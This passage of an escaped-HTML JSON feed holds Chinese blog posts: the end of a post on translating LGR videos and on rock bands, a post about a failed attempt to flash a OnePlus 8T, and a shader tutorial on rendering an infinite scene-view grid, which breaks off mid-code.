Crimson的乐迷,我建议大家去听听《Starless》和E1M8的配乐:-)\u003c/p\u003e\n\u003ch2 id=\"第四个没事你用什么机架8bitguy的痛恨\"\u003e第四个:没事你用什么机架(8BitGuy的痛恨)\u003c/h2\u003e\n\u003cp\u003e【熟肉】LGR - 组建一个更大,更好的MIDI机架山\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e原来是提供了很多专业设备名称,我懒得截图了\u0026hellip;\u0026hellip;\u003cbr\u003e\n捕捉到大神 @我的同桌是初音\u003c/p\u003e\n\u003cp\u003e颜文字狂魔up(当时我的字幕随着音乐出现了Maggie Simpson的字符画)\u003cbr\u003e\n要不然这么长的音乐你就光看着没劲的电脑屏幕。顺便说一句,这叫ASCII艺术。而这个是我的女神Maggie(因为她太可爱了)\u003c/p\u003e\n\u003cp\u003efedora forever(当时我的字幕随着音乐出现了一直牛说\u0026rsquo;Use Arch Linux at archlinux.org:-)\u0026rsquo;)\u003cbr\u003e\nFedora我用过一段时间,确实软件包很新,软件更迭很快。但是Arch可以私人定制,所以我觉得还是Arch好(我是不会用gentoo的,没时间编译内核)。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本期视频我认为体现出LGR视频的一些特点。首先是口语的泛滥,他说话经常出现连词,因思想跟不上而出现的停顿(也许我搬运的视频都倾向于这些吧)。其次是内容,LGR的视频在专业的地方,确实是在认真地给大家讲;提前准备好的部分也能很好地把握时间;不过一到动手体验部分,就有点vblog的感觉了(尤其是上期讲SD卡相机)。这就导致LGR的视频在某种意义上,十分地长,我翻译也是越来越烦。那期线上淘二手我直接上机翻,结束噩梦了。\u003cbr\u003e\n回顾:LGR的视频已经越来越长,早期视频更好受些。他废话能少些吗?!\u003cbr\u003e\n说到机翻,我发现有人在Bilibili上传LGR的机翻视频,还有4K噱头,差点将一个刚翻译视频的给劝退了。我又想到了8bitGuy的空降正义,结果因为机翻太差,人民群众将原搬运工给叫了回来。对于这种现象,我是十分厌恶的。你这么做,这既是对原作者的不尊重,也是对我们翻译工的不尊重。原作者制作视频,是为了传播知识,而我们翻译视频,也是出于这样的目的。\u003c/p\u003e\n\u003ch2 id=\"第五个一个十分遗憾的乐队建议亲自观看体会\"\u003e第五个:一个十分遗憾的乐队(建议亲自观看体会)\u003c/h2\u003e\n\u003cp\u003e【熟肉】论低情商如何害了Deep Purple\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e人事问题不仅仅是情商的问题。\u003cbr\u003e\n回复:确实是这样。人事问题还跟利益关系,个人性格等有关。Blackmore和Gillan在音乐方向上就不同,再加上两个人都很强势,这些是Mk2解散的根本原因。而低情商主要在于Blackmore将Glover给赶出去,Blackmore不喜欢Gillan,就拿他介绍过来的Glover撒气。实际上Glover不仅会弹Bass,而且会设计(他参与了Machine Head和Who Do We Think We Are!的封面,内页设计),会制作音乐,他的离去对于Deep Purple来说,绝对是一个打击。我觉得那个纪录片最重要的地方就是这个了,其他的诸如组队,录制洗脑神曲方面我觉得倒不重要。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e说到听音乐,我首先是从娘胎里开始听加州旅馆(还是1994地球厅那版,可惜CD让我给划了:-P)。到了初中我开始听张学友等经典音乐,因为网易云推荐(然后我天天在班里唱“吻鳖”)。到了高中,我开始知道了Pink Floyd,我最开始的那两个视频就是这个。然后是重金属三大头,Yes,King Crimson,Mike Oldfield,Genesis等前卫摇滚,进而是Metallica的前卫金属时期(The Call of Ktulu真是洗脑得不得了)\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结:\u003c/h2\u003e\n\u003cp\u003e还有好多想说的,不过我都在评论区里说完了,加上时间不早了,所以基本就是这些了。如果大家有啥想说的,留个言呗;如果大家喜欢的话,转发一下呗。祝大家新春快乐:-)\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/reading-reviews.html"},{"title":"我的一加8T刷机失败记录","time":"2021-02-03T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" alt=\"Featured image of post 我的一加8T刷机失败记录\" /\u003e\u003cp\u003e注意:本文不是详细教程,只是我的痛苦体验罢了,文章末尾我会给链接的。\u003c/p\u003e\n\u003cp\u003e最近我的 Nokia(HMD) 7 Plus 的充电口彻底没有办法充电了,所以我妈给我买了一台一加8T:-)\u003c/p\u003e\n\u003cp\u003e到手的第一件事嘛\u0026hellip;\u0026hellip;一定是解锁呀。辛亏一加的解锁是相当容易的,开发者模式中开启“OEM 解锁”,然后 adb reboot bootloader 进入fastboot,再运行 fastboot oem unlock,手机上音量加减选择解锁,电源键选择即可。\u003c/p\u003e\n\u003cp\u003e然后我没想到的部分还是来了,鉴于本手机刚刚发布,很多第三方系统还没有完全适配。我最想用的Lineage没有官方,而crDroid是Beta品质,这都是我后来才发现的:-P\u003c/p\u003e\n\u003cp\u003e不过官方论坛上有教程,那自然是得一顿操作啦。可惜呢\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/53U9OBFlswnKCrV.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"这个是我在Windows下的第二次失败,第一次是在Linux下的\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e这个是我在Windows下的第二次失败,第一次是在Linux下的\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e开始是Linux系统下失败,然而在Windows下也失败了。我暂且认为是开发者用的是256G的,可我的是128G的原因吧。\u003c/p\u003e\n\u003cp\u003e无论如何,我必须得救砖了。然而救砖软件是Windows独占,我就启动了该死的Windows虚拟机,手机完全关机并同时按住上下键,映射到虚拟机(设备名字开头是高通啥的)。结果报错,自动检测DDR失败。我想是因为虚拟机映射有问题,所以我直接重装了该死的Windows(我上期翻译的视频字幕文件没了,其他的因为备份了,还在)来救砖。有一次电脑不认,我按住了上下键和电源键来强制开机。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/oSlVrIB4PWghOYt.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e注意红箭头指示的地方,一定先要选上!否则救砖失败,手机变成假砖\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e救砖成功了,我又在Windows下尝试了好几遍fastboot,全部失败:-P 我看等成熟的卡刷可以实现的时候再说吧。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/failure-on-flash-oneplus-8t.html"}]},{"name":"Stalo's Note","email":"Unknown","uri":"https://note.stalomeow.com/","description":"Stalo's notebook.","article":[{"title":"Scene View 无限网格","time":"2024-10-13T14:47:30Z","content":"\u003ch1 id=\"Scene-View-无限网格\"\u003eScene View 无限网格\u003ca class=\"headerlink\" href=\"#Scene-View-无限网格\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e大部分 DCC 都有无限网格,帮助我们确定物体所处的空间位置。我也给自己的引擎加上了这个功能。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"红色是 X 轴,蓝色是 Z 轴\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014094522.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"根据距离自动分层\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014094627.png\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"思路\"\u003e思路\u003ca class=\"headerlink\" href=\"#思路\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e因为网格是无限大的,所以我第一反应就是屏幕空间重建世界坐标绘制。我看了下 Unity 的实现,应该是 CPU 上把网格算好,然后生成 Line List Mesh,再给 Shader 画上去。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Unity 的实现\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014100816.png\" /\u003e\u003c/p\u003e\n\u003cp\u003eUnity 的实现感觉有点麻烦,我还是用屏幕空间了。\u003c/p\u003e\n\u003ch2 id=\"重建世界坐标\"\u003e重建世界坐标\u003ca class=\"headerlink\" href=\"#重建世界坐标\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e之前我写过 \u003ca href=\"../depth-reconstruct-world-position/\"\u003e深度重建世界坐标\u003c/a\u003e 的方法,但这次深度是未知的,不能直接用。我看网上的文章都是近平面算一个点,远平面算一个点,计算连线和 XOZ 平面的交点。\u003c/p\u003e\n\u003cp\u003e其实深度可以直接算出来。因为 XOZ 平面上的点 \u003ccode\u003epositionWS.y == 0\u003c/code\u003e,带入 \u003ca href=\"../depth-reconstruct-world-position/\"\u003e深度重建世界坐标\u003c/a\u003e 逆矩阵法的推导中,由公式\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e得到深度\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionNDC\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eMatrixInvVP\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e深度要用 \u003ccode\u003eSV_Depth\u003c/code\u003e 输出,保证之后能正确地进行深度测试。然后直接套公式就有世界坐标了。\u003c/p\u003e\n\u003ch2 id=\"生成网格\"\u003e生成网格\u003ca class=\"headerlink\" href=\"#生成网格\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e生成网格需要对 \u003ccode\u003exz\u003c/code\u003e 坐标应用周期函数,常用 \u003ccode\u003efrac\u003c/code\u003e。\u003ccode\u003efrac\u003c/code\u003e 有很多种定义 \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e,hlsl 文档中说得也不太清楚:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eReturns the fractional (or decimal) part of x; which is greater than or equal to 0 and less than 1. \u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我测试了下发现\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{frac}(x) = x - \\lfloor x \\rfloor\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"图像\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014132645.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e通常用一对花括号表示这种计算 \u003ccode\u003efrac\u003c/code\u003e 的方法\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\{x\\} := x - \\lfloor x \\rfloor\n\\]\u003c/div\u003e\n\u003cp\u003e稍微变化一下就能生成三角波\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left | \\text{frac}(x) - 0.5 \\right |\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cimg alt=\"图像\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014143013.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e大于阈值的部分就是网格线。\u003c/p\u003e\n\u003ch2 id=\"反锯齿\"\u003e反锯齿\u003ca class=\"headerlink\" href=\"#反锯齿\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e直接用 \u003ccode\u003estep\u003c/code\u003e 绘制的网格线锯齿很严重,尤其是斜着看远处的时候。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"锯齿\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014134120.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e简单建个模分析一下:假设一个人在 \u003cspan class=\"arithmatex\"\u003e\\(A\\)\u003c/span\u003e 点,与地面夹角为 \u003cspan class=\"arithmatex\"\u003e\\(\\alpha\\)\u003c/span\u003e 观察 \u003cspan class=\"arithmatex\"\u003e\\(B\\)\u003c/span\u003e 点处的网格。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"简化模型\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014141906.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e可以算出\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\mathrm{d}x=\\frac{\\left | \\text{AB} \\right | \\sin \\mathrm{d} \\theta}{\\sin \\left (\\alpha - \\mathrm{d} \\theta \\right )}\n\\]\u003c/div\u003e\n\u003cp\u003e当 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} \\theta\\)\u003c/span\u003e 不变时,距离 \u003cspan class=\"arithmatex\"\u003e\\(\\left | \\text{AB} \\right |\\)\u003c/span\u003e 越大,夹角 \u003cspan class=\"arithmatex\"\u003e\\(\\alpha\\)\u003c/span\u003e 越小,\u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 越大。\u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 就是屏幕上相邻两个像素对应的 \u003ccode\u003epositionWS\u003c/code\u003e 的距离,也是在三角波上相邻两个采样点的间隔。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"dx 的意义\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014144145.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e采样间隔越大,就越不准,越可能漏掉网格线,导致锯齿。所以应该根据 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 动态调整阈值,\u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 越大,阈值就越小(网格线越粗)。对相邻像素的 \u003ccode\u003epositionWS\u003c/code\u003e 做 \u003ca href=\"../../../eccd-afbe-cebg/\"\u003e差分\u003c/a\u003e 就能估计出 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e,因为要同时考虑屏幕的 X 方向和 Y 方向,所以使用 \u003ccode\u003efwidth\u003c/code\u003e 函数,即 \u003ccode\u003eabs(ddx(x)) + abs(ddy(x))\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efwidth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exz\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e另外,把 \u003ccode\u003estep\u003c/code\u003e 换成 \u003ccode\u003esmoothstep\u003c/code\u003e 羽化网格线的边缘,可以进一步减少锯齿。\u003c/p\u003e\n\u003ch2 id=\"淡化远处的网格\"\u003e淡化远处的网格\u003ca class=\"headerlink\" href=\"#淡化远处的网格\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e现在锯齿没了,但远处的网格看上去非常密,很丑。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"远处的网格基本变成了色块\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020241014150052.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e可以像网上的文章一样,计算 \u003ccode\u003eLinearEyeDepth\u003c/code\u003e 或者 \u003ccode\u003eLinear01Depth\u003c/code\u003e 然后将远处的 \u003ccode\u003ealpha\u003c/code\u003e 变小。也可以直接用 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 来调整 \u003ccode\u003ealpha\u003c/code\u003e。根据前面的公式,线越密的地方 \u003cspan class=\"arithmatex\"\u003e\\(\\mathrm{d} x\\)\u003c/span\u003e 越大,反之亦然。\u003c/p\u003e\n\u003ch2 id=\"分层\"\u003e分层\u003ca class=\"headerlink\" href=\"#分层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e根据相机离 XOZ 平面的距离,选择不同的格子大小绘制网格线。如果两条线之间的距离是 \u003ccode\u003egridWidth\u003c/code\u003e,则\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exz\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efwidth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridEdge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003efrac\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e将两个不同 \u003ccode\u003egridWidth\u003c/code\u003e 对应的网格线算出来后,线性插值一下就有过渡效果了。\u003ccode\u003egridWidth\u003c/code\u003e 建议指数级增大,这样才有大格子套小格子的感觉。\u003c/p\u003e\n\u003ch2 id=\"实现\"\u003e实现\u003ca class=\"headerlink\" href=\"#实现\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e代码是用我自制的 DX12 ShaderLab 编写的,和 Unity 的稍有不同。\u003c/li\u003e\n\u003cli\u003e因为是屏幕空间效果,所以需要做全屏 Blit。Vertex Shader 参考了 \u003ca href=\"../unity-srp-fullscreen-blit/\"\u003eUnity SRP 全屏 Blit 原理\u003c/a\u003e 。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eShader\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;SceneViewGrid\u0026quot;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eProperties\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_XAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;X Axis Color\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Z Axis Color\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LineColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Line Color\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eColor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eRange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Antialiasing\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Anti-aliasing\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eRange\u003c/span\u003e\u003cspan 